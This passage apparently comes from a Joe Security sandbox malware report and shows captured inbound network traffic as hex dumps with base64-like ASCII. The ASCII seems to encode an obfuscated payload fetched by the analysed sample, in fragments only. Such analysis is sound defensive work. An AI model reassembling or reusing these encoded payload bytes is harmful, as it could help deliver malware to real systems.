YyLGA1QyxgQzYsYDFGLGAzNyxgRjMsYDI5LGBEQSxgQ0MsYDY0LGBCQixgMUQsYDA0LGBEMSxgODMsYE
UyLGA3RixgQkEsYEFDLGA4MSxgRTgsYDU4LGBEMSxgNjUsYDAyLGBDMyxgRTAsYDJDLGAzMyxgMkIsYE
YxLGAxOSxgRTYsYEY

2021-12-02 20:47:22 UTC 796 IN Data Raw: 4c 47 41 31 51 69 78 67 4f 44 41 73 59 45 56 46 4c 47 41 7a 51 79 78 67 4d 6a 67 73 59 45 45 78 4c 47 42 43 
4d 43 78 67 51 6b 4d 73 59 44 49 7a 4c 47 41 35 4d 69 78 67 4d 6b 49 73 59 45 49 78 4c 47 41 78 4d 43 78 67 4d 7a 67 
73 59 44 51 31 4c 47 41 7a 51 79 78 67 4e 54 49 73 59 44 59 30 4c 47 41 32 51 79 78 67 4d 54 41 73 59 45 4d 7a 4c 47 
42 42 4d 79 78 67 52 55 59 73 59 44 56 45 4c 47 41 34 4e 69 78 67 52 6a 6b 73 59 44 68 44 4c 47 42 42 4f 53 78 67 4d 6
b 59 73 59 44 6b 78 4c 47 41 79 51 69 78 67 52 6a 41 73 59 45 4d 78 4c 47 42 43 4f 43 78 67 4d 55 55 73 59 45 59 77 4c 
47 41 7a 4e 79 78 67 51 7a 63 73 59 44 68 44 4c 47 42 46 52 69 78 67 52 44 4d 73 59 44 56 47 4c 47 41 77 4d 79 78 67 
52 44 6b 73 59 44 6c 42 4c 47 41 32 4d 79 78 67 52 6b 55 73 59 44 42 
Data Ascii: LGA1QixgODAsYEVFLGAzQyxgMjgsYEExLGBCMCxgQkMsYDIzLGA5MixgMkIsYEIxLGAxMCxgMzgsYD
Q1LGAzQyxgNTIsYDY0LGA2QyxgMTAsYEMzLGBBMyxgRUYsYDVELGA4NixgRjksYDhDLGBBOSxgMkYsYD
kxLGAyQixgRjAsYEMxLGBCOCxgMUUsYEYwLGAzNyxgQzcsYDhDLGBFRixgRDMsYDVGLGAwMyxgRDksYD
lBLGA2MyxgRkUsYDB

2021-12-02 20:47:22 UTC 812 IN Data Raw: 4c 47 42 43 4d 53 78 67 51 7a 51 73 59 44 67 34 4c 47 41 77 4d 43 78 67 4d 44 51 73 59 45 49 79 4c 47 41 31 
4f 43 78 67 4e 30 45 73 59 44 67 78 4c 47 41 79 51 79 78 67 51 6a 45 73 59 45 45 33 4c 47 41 31 4f 53 78 67 4f 45 59 73 
59 44 45 31 4c 47 41 33 4f 53 78 67 4d 7a 59 73 59 44 45 78 4c 47 42 42 52 69 78 67 51 6a 45 73 59 44 4a 42 4c 47 42 
44 4d 69 78 67 4d 54 55 73 59 45 49 79 4c 47 41 31 52 53 78 67 4d 6a 59 73 59 44 56 46 4c 47 41 35 52 53 78 67 51 54 
45 73 59 45 4a 46 4c 47 42 47 4f 43 78 67 52 55 49 73 59 44 49 79 4c 47 41 7a 51 69 78 67 4d 54 67 73 59 45 45 31 4c 4
7 41 31 4f 53 78 67 4f 54 45 73 59 44 6b 31 4c 47 41 7a 4e 53 78 67 51 54 55 73 59 44 4e 45 4c 47 41 34 4e 69 78 67 4e 
45 55 73 59 44 55 30 4c 47 42 47 51 53 78 67 51 30 51 73 59 45 51 
Data Ascii: LGBCMSxgQzQsYDg4LGAwMCxgMDQsYEIyLGA1OCxgN0EsYDgxLGAyQyxgQjEsYEE3LGA1OSxgOEYsYD
E1LGA3OSxgMzYsYDExLGBBRixgQjEsYDJBLGBDMixgMTUsYEIyLGA1RSxgMjYsYDVFLGA5RSxgQTEsYE
JFLGBGOCxgRUIsYDIyLGAzQixgMTgsYEE1LGA1OSxgOTEsYDk1LGAzNSxgQTUsYDNELGA4NixgNEUsYD
U0LGBGQSxgQ0QsYEQ

2021-12-02 20:47:22 UTC 828 IN Data Raw: 4c 47 42 44 4d 43 78 67 51 6b 59 73 59 45 4e 43 4c 47 41 78 51 79 78 67 4f 44 4d 73 59 44 67 33 4c 47 41 31 
51 79 78 67 4e 6b 4d 73 59 44 49 77 4c 47 42 46 51 69 78 67 51 6a 4d 73 59 44 49 79 4c 47 41 30 4e 53 78 67 4d 45 59 
73 59 45 49 31 4c 47 42 43 52 43 78 67 52 6a 51 73 59 44 49 34 4c 47 41 31 4d 53 78 67 51 54 41 73 59 44 63 34 4c 47 
42 43 4f 43 78 67 52 6a 41 73 59 44 64 47 4c 47 41 7a 4d 53 78 67 4d 44 59 73 59 44 51 30 4c 47 41 7a 51 79 78 67 51 7
a 67 73 59 45 4d 77 4c 47 41 33 52 43 78 67 51 30 45 73 59 44 55 32 4c 47 41 30 4e 69 78 67 4e 54 59 73 59 44 51 34 4c 
47 42 43 4d 43 78 67 51 55 55 73 59 44 49 32 4c 47 41 33 4e 69 78 67 4e 54 59 73 59 45 49 79 4c 47 41 30 4e 79 78 67 
4f 55 59 73 59 44 63 79 4c 47 41 77 52 69 78 67 4e 30 49 73 59 44 4a 
Data Ascii: LGBDMCxgQkYsYENCLGAxQyxgODMsYDg3LGA1QyxgNkMsYDIwLGBFQixgQjMsYDIyLGA0NSxgMEYsYE
I1LGBCRCxgRjQsYDI4LGA1MSxgQTAsYDc4LGBCOCxgRjAsYDdGLGAzMSxgMDYsYDQ0LGAzQyxgQzgsYE
MwLGA3RCxgQ0EsYDU2LGA0NixgNTYsYDQ4LGBCMCxgQUUsYDI2LGA3NixgNTYsYEIyLGA0NyxgOUYsYD
cyLGAwRixgN0IsYDJ

2021-12-02 20:47:22 UTC 844 IN Data Raw: 4c 47 42 45 4e 79 78 67 4f 44 59 73 59 45 4d 31 4c 47 42 43 51 69 78 67 4f 54 49 73 59 44 63 35 4c 47 41 7a 
4e 69 78 67 4e 55 45 73 59 44 51 7a 4c 47 42 42 4d 69 78 67 4d 45 59 73 59 45 49 78 4c 47 41 7a 52 43 78 67 4e 45 55 
73 59 44 46 47 4c 47 41 7a 52 43 78 67 52 54 41 73 59 45 4e 47 4c 47 41 34 51 79 78 67 4d 55 4d 73 59 44 67 7a 4c 47 
41 35 52 53 78 67 4f 44 59 73 59 44 42 46 4c 47 42 44 4d 69 78 67 51 54 45 73 59 45 55 79 4c 47 42 43 4f 53 78 67 4e 44 
45 73 59 44 68 47 4c 47 41 32 4d 53 78 67 4d 45 51 73 59 44 52 44 4c 47 41 32 51 79 78 67 51 6a 49 73 59 44 6b 35 4c 4
7 41 7a 51 69 78 67 4d 44 4d 73 59 45 51 35 4c 47 42 42 51 79 78 67 4e 30 4d 73 59 44 52 43 4c 47 42 42 4e 69 78 67 51 
7a 55 73 59 45 51 35 4c 47 41 7a 4e 43 78 67 4e 30 4d 73 59 44 49 
Data Ascii: LGBENyxgODYsYEM1LGBCQixgOTIsYDc5LGAzNixgNUEsYDQzLGBBMixgMEYsYEIxLGAzRCxgNEUsYD
FGLGAzRCxgRTAsYENGLGA4QyxgMUMsYDgzLGA5RSxgODYsYDBFLGBDMixgQTEsYEUyLGBCOSxgNDEsYD
hGLGA2MSxgMEQsYDRDLGA2QyxgQjIsYDk5LGAzQixgMDMsYEQ5LGBBQyxgN0MsYDRCLGBBNixgQzUsYE
Q5LGAzNCxgN0MsYDI

2021-12-02 20:47:22 UTC 860 IN Data Raw: 4c 47 41 30 4d 69 78 67 4d 6a 55 73 59 44 46 42 4c 47 41 33 52 69 78 67 4d 30 55 73 59 45 5a 45 4c 47 41 34 
4e 79 78 67 4e 30 55 73 59 45 4d 7a 4c 47 42 45 52 69 78 67 52 54 45 73 59 44 6c 47 4c 47 41 33 4d 69 78 67 4d 54 67 
73 59 45 5a 47 4c 47 42 44 52 43 78 67 52 6b 59 73 59 45 51 77 4c 47 41 31 52 69 78 67 52 6a 41 73 59 44 46 47 4c 47 
41 7a 52 43 78 67 4e 7a 51 73 59 44 51 34 4c 47 42 47 52 43 78 67 52 6b 55 73 59 45 5a 47 4c 47 42 45 4d 43 78 67 4f 5
5 59 73 59 45 59 33 4c 47 41 34 4e 79 78 67 4f 54 63 73 59 44 5a 44 4c 47 41 30 52 69 78 67 4e 30 59 73 59 44 45 7a 4c 
47 42 44 4e 69 78 67 52 54 55 73 59 44 59 33 4c 47 42 47 52 53 78 67 4d 6a 45 73 59 44 52 44 4c 47 42 44 4e 43 78 67 
52 55 59 73 59 45 5a 43 4c 47 41 31 52 69 78 67 52 6b 55 73 59 44 63 
Data Ascii: LGA0MixgMjUsYDFBLGA3RixgM0UsYEZELGA4NyxgN0UsYEMzLGBERixgRTEsYDlGLGA3MixgMTgsYE
ZGLGBDRCxgRkYsYEQwLGA1RixgRjAsYDFGLGAzRCxgNzQsYDQ4LGBGRCxgRkUsYEZGLGBEMCxgOUYsYE
Y3LGA4NyxgOTcsYDZDLGA0RixgN0YsYDEzLGBDNixgRTUsYDY3LGBGRSxgMjEsYDRDLGBDNCxgRUYsYE
ZCLGA1RixgRkUsYDc

2021-12-02 20:47:22 UTC 876 IN Data Raw: 4c 47 41 33 52 69 78 67 51 6a 59 73 59 45 59 77 4c 47 42 44 4e 69 78 67 52 45 59 73 59 45 5a 47 4c 47 41 35 
51 69 78 67 52 6b 51 73 59 45 46 45 4c 47 42 43 52 69 78 67 4d 44 4d 73 59 45 5a 47 4c 47 42 47 4d 69 78 67 51 7a 63 
73 59 45 46 44 4c 47 42 47 52 53 78 67 51 6a 63 73 59 44 64 47 4c 47 41 35 51 69 78 67 4e 30 59 73 59 45 59 35 4c 47 
41 34 52 69 78 67 52 6b 55 73 59 45 56 44 4c 47 42 45 52 69 78 67 4e 55 59 73 59 44 59 32 4c 47 42 46 4e 79 78 67 4e 4
5 59 73 59 45 5a 46 4c 47 42 43 52 43 78 67 4e 30 55 73 59 44 51 32 4c 47 42 47 51 53 78 67 52 6b 45 73 59 45 4d 33 4c 
47 42 47 52 53 78 67 51 54 63 73 59 45 4a 47 4c 47 42 47 4d 79 78 67 4d 7a 63 73 59 45 55 79 4c 47 41 31 52 69 78 67 
4d 55 55 73 59 45 5a 46 4c 47 42 42 52 53 78 67 4f 44 55 73 59 45 4a 
Data Ascii: LGA3RixgQjYsYEYwLGBDNixgREYsYEZGLGA5QixgRkQsYEFELGBCRixgMDMsYEZGLGBGMixgQzcsYE
FDLGBGRSxgQjcsYDdGLGA5QixgN0YsYEY5LGA4RixgRkUsYEVDLGBERixgNUYsYDY2LGBFNyxgNEYsYE
ZFLGBCRCxgN0UsYDQ2LGBGQSxgRkEsYEM3LGBGRSxgQTcsYEJGLGBGMyxgMzcsYEUyLGA1RixgMUUsYE
ZFLGBBRSxgODUsYEJ

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 42 of 57



2021-12-02 20:47:22 UTC 892 IN Data Raw: 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 
4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 
67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 
41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 4
3 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 
59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 
77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 
Data Ascii: YDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAw
LGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAw
LGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAw
LGAwMCxgMDAsYDAwLGAwMCxgMDA

2021-12-02 20:47:22 UTC 908 IN Data Raw: 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 
4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 
67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 
41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 4
3 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 
59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 
77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 
Data Ascii: YDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAw
LGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAw
LGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAwLGAwMCxgMDAsYDAw
LGAwMCxgMDAsYDAwLGAwMCxgMDA

2021-12-02 20:47:22 UTC 924 IN Data Raw: 59 44 67 31 4c 47 41 78 4d 43 78 67 52 6b 4d 73 59 45 5a 47 4c 47 42 47 52 69 78 67 52 6a 59 73 59 44 55 79 
4c 47 41 31 4d 69 78 67 51 54 51 73 59 45 4d 33 4c 47 41 34 4e 53 78 67 4d 54 51 73 59 45 5a 44 4c 47 42 47 52 69 78 
67 52 6b 59 73 59 44 52 45 4c 47 41 7a 51 69 78 67 4d 30 49 73 59 44 63 32 4c 47 42 44 4e 79 78 67 4f 44 55 73 59 44 
45 34 4c 47 42 47 51 79 78 67 52 6b 59 73 59 45 5a 47 4c 47 41 32 4d 53 78 67 52 44 59 73 59 45 51 32 4c 47 42 43 4e 7
9 78 67 51 7a 63 73 59 44 67 31 4c 47 41 78 51 79 78 67 52 6b 4d 73 59 45 5a 47 4c 47 42 47 52 69 78 67 51 30 55 73 
59 45 49 7a 4c 47 42 43 4d 79 78 67 4e 30 51 73 59 45 4d 33 4c 47 41 34 4e 53 78 67 4d 6a 41 73 59 45 5a 44 4c 47 42 
47 52 69 78 67 52 6b 59 73 59 44 64 43 4c 47 41 79 4f 53 78 67 4d 6a 6b 
Data Ascii: YDg1LGAxMCxgRkMsYEZGLGBGRixgRjYsYDUyLGA1MixgQTQsYEM3LGA4NSxgMTQsYEZDLGBGRixgRk
YsYDRELGAzQixgM0IsYDc2LGBDNyxgODUsYDE4LGBGQyxgRkYsYEZGLGA2MSxgRDYsYEQ2LGBCNyxgQz
csYDg1LGAxQyxgRkMsYEZGLGBGRixgQ0UsYEIzLGBCMyxgN0QsYEM3LGA4NSxgMjAsYEZDLGBGRixgRk
YsYDdCLGAyOSxgMjk

2021-12-02 20:47:22 UTC 940 IN Data Raw: 59 45 59 34 4c 47 42 47 52 69 78 67 52 6b 59 73 59 44 46 45 4c 47 41 78 4e 79 78 67 4d 55 49 73 59 44 45 79 
4c 47 42 44 4e 79 78 67 4f 44 55 73 59 45 55 77 4c 47 42 47 4f 43 78 67 52 6b 59 73 59 45 5a 47 4c 47 41 77 51 69 78 67 
4d 45 51 73 59 44 41 35 4c 47 41 77 52 53 78 67 51 7a 63 73 59 44 67 31 4c 47 42 46 4e 43 78 67 52 6a 67 73 59 45 5a 
47 4c 47 42 47 52 69 78 67 51 55 51 73 59 45 4d 33 4c 47 41 34 51 69 78 67 52 6a 49 73 59 45 4d 33 4c 47 41 34 4e 53 
78 67 52 54 67 73 59 45 59 34 4c 47 42 47 52 69 78 67 52 6b 59 73 59 45 49 35 4c 47 42 42 4f 43 78 67 51 6a 59 73 59 4
4 4a 45 4c 47 42 44 4e 79 78 67 4f 44 55 73 59 45 56 44 4c 47 42 47 4f 43 78 67 52 6b 59 73 59 45 5a 47 4c 47 42 44 4f 4
3 78 67 51 54 6b 73 59 44 46 46 4c 47 41 78 4e 43 78 67 51 7a 63 
Data Ascii: YEY4LGBGRixgRkYsYDFELGAxNyxgMUIsYDEyLGBDNyxgODUsYEUwLGBGOCxgRkYsYEZGLGAwQixgME
QsYDA5LGAwRSxgQzcsYDg1LGBFNCxgRjgsYEZGLGBGRixgQUQsYEM3LGA4QixgRjIsYEM3LGA4NSxgRT
gsYEY4LGBGRixgRkYsYEI5LGBBOCxgQjYsYDJELGBDNyxgODUsYEVDLGBGOCxgRkYsYEZGLGBDOCxgQT
ksYDFFLGAxNCxgQzc

2021-12-02 20:47:22 UTC 956 IN Data Raw: 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 34 51 69 78 67 4e 30 51 73 59 45 59 30 
4c 47 42 44 4d 53 78 67 52 6b 59 73 59 44 41 34 4c 47 41 34 4d 53 78 67 52 54 63 73 59 45 5a 47 4c 47 41 77 4d 43 78 
67 4d 44 41 73 59 44 41 77 4c 47 41 34 51 69 78 67 4e 30 4d 73 59 45 49 34 4c 47 41 77 4e 43 78 67 51 7a 45 73 59 45 
4e 47 4c 47 41 78 4d 43 78 67 4f 45 49 73 59 45 52 46 4c 47 42 44 4d 53 78 67 52 6b 49 73 59 44 45 77 4c 47 41 34 4d 5
3 78 67 52 54 4d 73 59 45 5a 47 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 34 51 69 78 67 4e 55 4d 73 
59 44 6b 34 4c 47 41 77 4e 43 78 67 51 7a 45 73 59 45 4e 43 4c 47 41 77 4f 43 78 67 4d 7a 4d 73 59 45 5a 43 4c 47 41 
34 51 69 78 67 4e 55 51 73 59 45 59 34 4c 47 41 34 4d 53 78 67 52 54 4d 
Data Ascii: YDAwLGAwMCxgMDAsYDAwLGA4QixgN0QsYEY0LGBDMSxgRkYsYDA4LGA4MSxgRTcsYEZG
LGAwMCxgMDAsYDAwLGA4QixgN0MsYEI4LGAwNCxgQzEsYENGLGAxMCxgOEIsYERFLGBDMSxgRkIsYDEw
LGA4MSxgRTMsYEZGLGAwMCxgMDAsYDAwLGA4QixgNUMsYDk4LGAwNCxgQzEsYENCLGAwOCxgMzMsYEZC
LGA4QixgNUQsYEY4LGA4MSxgRTM

2021-12-02 20:47:22 UTC 972 IN Data Raw: 59 44 59 34 4c 47 41 34 52 43 78 67 4f 44 55 73 59 44 45 77 4c 47 42 47 52 69 78 67 52 6b 59 73 59 45 5a 47 
4c 47 41 32 51 53 78 67 4d 44 41 73 59 44 55 77 4c 47 42 44 4e 79 78 67 4e 44 55 73 59 45 59 34 4c 47 41 79 4d 43 78 
67 4e 7a 67 73 59 44 4d 34 4c 47 41 7a 4e 69 78 67 51 7a 59 73 59 44 51 31 4c 47 42 47 51 79 78 67 4d 44 41 73 59 45 
4d 33 4c 47 41 30 4e 53 78 67 52 6a 41 73 59 44 49 77 4c 47 41 33 4f 43 78 67 4d 7a 59 73 59 44 4d 30 4c 47 42 44 4e 6
9 78 67 4e 44 55 73 59 45 59 30 4c 47 41 77 4d 43 78 67 51 7a 63 73 59 44 67 31 4c 47 42 47 4f 43 78 67 52 6b 55 73 59 
45 5a 47 4c 47 42 47 52 69 78 67 4e 54 41 73 59 44 41 77 4c 47 41 33 4d 69 78 67 4d 44 41 73 59 45 4d 33 4c 47 41 34 
4e 53 78 67 52 6b 4d 73 59 45 5a 46 4c 47 42 47 52 69 78 67 52 6b 59 
Data Ascii: YDY4LGA4RCxgODUsYDEwLGBGRixgRkYsYEZGLGA2QSxgMDAsYDUwLGBDNyxgNDUsYEY4
LGAyMCxgNzgsYDM4LGAzNixgQzYsYDQ1LGBGQyxgMDAsYEM3LGA0NSxgRjAsYDIwLGA3OCxgMzYsYDM0
LGBDNixgNDUsYEY0LGAwMCxgQzcsYDg1LGBGOCxgRkUsYEZGLGBGRixgNTAsYDAwLGA3MixgMDAsYEM3
LGA4NSxgRkMsYEZFLGBGRixgRkY

2021-12-02 20:47:22 UTC 988 IN Data Raw: 59 44 68 43 4c 47 41 33 4e 53 78 67 4d 44 67 73 59 44 5a 42 4c 47 41 77 4d 43 78 67 4e 6b 45 73 59 44 41 30 
4c 47 41 34 52 43 78 67 4f 44 55 73 59 45 56 44 4c 47 42 47 52 43 78 67 52 6b 59 73 59 45 5a 47 4c 47 41 31 4d 43 78 
67 4e 54 59 73 59 45 55 34 4c 47 42 43 4d 43 78 67 4e 6a 59 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4e 6b 45 73 59 44 
41 77 4c 47 41 32 51 53 78 67 4d 44 51 73 59 44 68 45 4c 47 41 34 52 43 78 67 52 54 51 73 59 45 5a 43 4c 47 42 47 52 6
9 78 67 52 6b 59 73 59 44 55 78 4c 47 41 31 4e 69 78 67 52 54 67 73 59 44 6c 47 4c 47 41 32 4e 69 78 67 4d 44 41 73 59 
44 41 77 4c 47 41 34 52 43 78 67 4f 54 55 73 59 45 56 44 4c 47 42 47 52 43 78 67 52 6b 59 73 59 45 5a 47 4c 47 41 31 
4d 69 78 67 52 54 67 73 59 44 49 7a 4c 47 41 33 4e 79 78 67 4d 44 45 
Data Ascii: YDhCLGA3NSxgMDgsYDZBLGAwMCxgNkEsYDA0LGA4RCxgODUsYEVDLGBGRCxgRkYsYEZG
LGA1MCxgNTYsYEU4LGBCMCxgNjYsYDAwLGAwMCxgNkEsYDAwLGA2QSxgMDQsYDhELGA4RCxgRTQsYEZC
LGBGRixgRkYsYDUxLGA1NixgRTgsYDlGLGA2NixgMDAsYDAwLGA4RCxgOTUsYEVDLGBGRCxgRkYsYEZG
LGA1MixgRTgsYDIzLGA3NyxgMDE
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2021-12-02 20:47:22 UTC 1004 IN Data Raw: 59 45 49 34 4c 47 41 77 4d 53 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4e 55 49 73 59 44 68 43 
4c 47 42 46 4e 53 78 67 4e 55 51 73 59 45 4d 7a 4c 47 41 34 4e 53 78 67 52 45 49 73 59 44 42 47 4c 47 41 34 4e 53 78 
67 51 54 67 73 59 45 5a 45 4c 47 42 47 52 69 78 67 52 6b 59 73 59 44 68 43 4c 47 41 31 4e 53 78 67 4d 44 67 73 59 44 
68 43 4c 47 41 30 4e 53 78 67 4d 45 4d 73 59 44 5a 42 4c 47 41 77 4e 53 78 67 4e 54 49 73 59 44 55 77 4c 47 42 46 51 6
9 78 67 51 54 6b 73 59 45 4e 44 4c 47 42 44 51 79 78 67 51 30 4d 73 59 45 4e 44 4c 47 42 44 51 79 78 67 51 30 4d 73 
59 44 55 31 4c 47 41 34 51 69 78 67 52 55 4d 73 59 44 67 78 4c 47 42 46 51 79 78 67 4f 44 41 73 59 44 41 77 4c 47 41 
77 4d 43 78 67 4d 44 41 73 59 44 55 7a 4c 47 41 31 4e 69 78 67 4e 54 63 
Data Ascii: YEI4LGAwMSxgMDAsYDAwLGAwMCxgNUIsYDhCLGBFNSxgNUQsYEMzLGA4NSxgREIsYDBG
LGA4NSxgQTgsYEZELGBGRixgRkYsYDhCLGA1NSxgMDgsYDhCLGA0NSxgMEMsYDZBLGAwNSxgNTIsYDUw
LGBFQixgQTksYENDLGBDQyxgQ0MsYENDLGBDQyxgQ0MsYDU1LGA4QixgRUMsYDgxLGBFQyxgODAsYDAw
LGAwMCxgMDAsYDUzLGA1NixgNTc

2021-12-02 20:47:22 UTC 1020 IN Data Raw: 59 44 56 47 4c 47 41 31 52 43 78 67 51 7a 4d 73 59 44 67 7a 4c 47 42 43 4f 43 78 67 4e 6a 51 73 59 44 45 31 
4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 33 4e 43 78 67 4d 45 4d 73 59 44 55 33 4c 47 42 46 4f 43 78 
67 52 54 49 73 59 44 49 30 4c 47 41 77 4d 53 78 67 4d 44 41 73 59 44 67 7a 4c 47 42 44 4e 43 78 67 4d 44 51 73 59 44 
56 47 4c 47 41 31 52 43 78 67 51 7a 4d 73 59 44 55 32 4c 47 41 7a 4d 79 78 67 52 6a 59 73 59 44 4d 35 4c 47 41 33 4e 7
9 78 67 4d 55 4d 73 59 44 63 32 4c 47 41 30 4e 43 78 67 4f 45 51 73 59 44 59 30 4c 47 41 79 4e 43 78 67 4d 44 41 73 59 
44 68 43 4c 47 41 30 4e 79 78 67 4d 54 67 73 59 44 67 31 4c 47 42 44 4d 43 78 67 4e 7a 51 73 59 44 4d 35 4c 47 41 34 
4d 79 78 67 4e 30 4d 73 59 45 59 77 4c 47 41 77 4e 43 78 67 4d 44 41 
Data Ascii: YDVGLGA1RCxgQzMsYDgzLGBCOCxgNjQsYDE1LGAwMCxgMDAsYDAwLGA3NCxgMEMsYDU3
LGBFOCxgRTIsYDI0LGAwMSxgMDAsYDgzLGBDNCxgMDQsYDVGLGA1RCxgQzMsYDU2LGAzMyxgRjYsYDM5
LGA3NyxgMUMsYDc2LGA0NCxgOEQsYDY0LGAyNCxgMDAsYDhCLGA0NyxgMTgsYDg1LGBDMCxgNzQsYDM5
LGA4MyxgN0MsYEYwLGAwNCxgMDA

2021-12-02 20:47:22 UTC 1036 IN Data Raw: 59 44 5a 42 4c 47 41 77 4e 53 78 67 4f 45 51 73 59 44 51 31 4c 47 42 47 4f 43 78 67 4e 54 41 73 59 44 55 32 
4c 47 42 46 4f 43 78 67 4e 54 67 73 59 44 55 30 4c 47 41 77 4d 53 78 67 4d 44 41 73 59 44 55 32 4c 47 42 46 4f 43 78 67 
4d 6a 49 73 59 44 55 7a 4c 47 41 77 4d 53 78 67 4d 44 41 73 59 44 68 43 4c 47 41 30 52 43 78 67 4d 44 67 73 59 44 55 
7a 4c 47 41 34 4f 53 78 67 4e 44 55 73 59 45 55 34 4c 47 41 31 4d 53 78 67 4d 44 4d 73 59 45 4d 32 4c 47 41 31 4d 43 
78 67 52 54 67 73 59 44 51 79 4c 47 41 31 4d 43 78 67 4d 44 45 73 59 44 41 77 4c 47 41 34 51 69 78 67 4e 30 59 73 59 
44 41 30 4c 47 41 34 51 69 78 67 4f 54 63 73 59 44 5a 44 4c 47 41 78 4d 53 78 67 4d 44 41 73 59 44 41 77 4c 47 41 34 
51 69 78 67 4e 44 55 73 59 45 55 34 4c 47 41 31 4d 69 78 67 4e 6b 45 
Data Ascii: YDZBLGAwNSxgOEQsYDQ1LGBGOCxgNTAsYDU2LGBFOCxgNTgsYDU0LGAwMSxgMDAsYDU2
LGBFOCxgMjIsYDUzLGAwMSxgMDAsYDhCLGA0RCxgMDgsYDUzLGA4OSxgNDUsYEU4LGA1MSxgMDMsYEM2
LGA1MCxgRTgsYDQyLGA1MCxgMDEsYDAwLGA4QixgN0YsYDA0LGA4QixgOTcsYDZDLGAxMSxgMDAsYDAw
LGA4QixgNDUsYEU4LGA1MixgNkE

2021-12-02 20:47:22 UTC 1052 IN Data Raw: 59 44 55 79 4c 47 41 32 52 43 78 67 51 54 45 73 59 44 6c 46 4c 47 41 77 4e 79 78 67 4d 7a 4d 73 59 44 4e 45 
4c 47 41 7a 52 69 78 67 52 44 6b 73 59 44 46 43 4c 47 42 44 52 43 78 67 52 44 59 73 59 45 51 34 4c 47 41 79 4f 43 78 
67 4d 55 45 73 59 44 64 47 4c 47 42 44 4d 79 78 67 4e 6b 4d 73 59 44 4a 45 4c 47 41 34 4d 43 78 67 4e 54 67 73 59 45 
45 30 4c 47 41 77 4f 53 78 67 52 54 41 73 59 45 49 31 4c 47 41 30 4e 69 78 67 52 6a 45 73 59 45 59 78 4c 47 42 47 4d 5
3 78 67 4d 30 4d 73 59 45 59 31 4c 47 42 43 51 69 78 67 52 6a 41 73 59 45 4e 42 4c 47 41 33 4d 53 78 67 52 54 49 73 
59 44 67 77 4c 47 42 43 51 53 78 67 52 44 4d 73 59 44 6c 46 4c 47 41 79 4d 79 78 67 4e 6b 55 73 59 45 59 34 4c 47 41 
77 4e 53 78 67 51 55 4d 73 59 44 6b 33 4c 47 42 43 51 69 78 67 4d 54 55 
Data Ascii: YDUyLGA2RCxgQTEsYDlFLGAwNyxgMzMsYDNELGAzRixgRDksYDFCLGBDRCxgRDYsYEQ4
LGAyOCxgMUEsYDdGLGBDMyxgNkMsYDJELGA4MCxgNTgsYEE0LGAwOSxgRTAsYEI1LGA0NixgRjEsYEYx
LGBGMSxgM0MsYEY1LGBCQixgRjAsYENBLGA3MSxgRTIsYDgwLGBCQSxgRDMsYDlFLGAyMyxgNkUsYEY4
LGAwNSxgQUMsYDk3LGBCQixgMTU

2021-12-02 20:47:22 UTC 1068 IN Data Raw: 59 44 41 77 4c 47 41 77 4d 69 78 67 4d 44 41 73 59 44 41 77 4c 47 42 46 4f 43 78 67 4e 6b 49 73 59 44 4a 46 
4c 47 41 77 4d 53 78 67 4d 44 41 73 59 44 55 77 4c 47 41 32 51 53 78 67 4d 44 41 73 59 45 55 34 4c 47 41 34 4d 79 78 
